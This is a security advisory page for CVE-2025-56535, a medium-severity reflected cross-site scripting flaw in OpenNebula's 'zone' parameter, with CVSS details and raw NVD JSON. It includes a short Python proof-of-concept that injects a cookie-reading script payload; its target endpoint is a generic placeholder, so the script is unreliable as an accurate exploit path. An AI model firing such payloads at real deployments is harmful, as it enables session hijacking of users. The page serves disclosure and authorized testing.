Security Vulnerability Report
中文
CVE-2025-56535 CVSS 6.1 MEDIUM

CVE-2025-56535

Published: 2026-04-29 16:16:22
Last Modified: 2026-04-30 20:09:06

Description

A cross-site scripting (XSS) vulnerability in opennebula v6.10.0.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the zone attribute parameter.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opennebula:opennebula:*:*:*:*:*:*:*:* - VULNERABLE
OpenNebula v6.10.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Adjust based on actual deployment) target_url = "http://vulnerable-opennebula-instance/api/endpoint" # Malicious XSS payload to inject into the 'zone' parameter xss_payload = "<script>alert(document.cookie)</script>" # Parameters to be sent params = { "zone": xss_payload } try: # Sending the GET request response = requests.get(target_url, params=params, timeout=10) # Checking if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability confirmed: Payload is reflected unfiltered.") else: print("[-] Vulnerability not confirmed or payload encoded.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56535", "sourceIdentifier": "[email protected]", "published": "2026-04-29T16:16:21.610", "lastModified": "2026-04-30T20:09:05.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in opennebula v6.10.0.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the zone attribute parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opennebula:opennebula:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "EAB8C708-4DC1-4708-897B-86FD9AAA65EE"}]}]}], "references": [{"url": "https://github.com/MarkArtamonov/OpenNebula-CVE-2025-56535", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://opennebula.io/opennebula-7/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/MarkArtamonov/OpenNebula-CVE-2025-56535", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}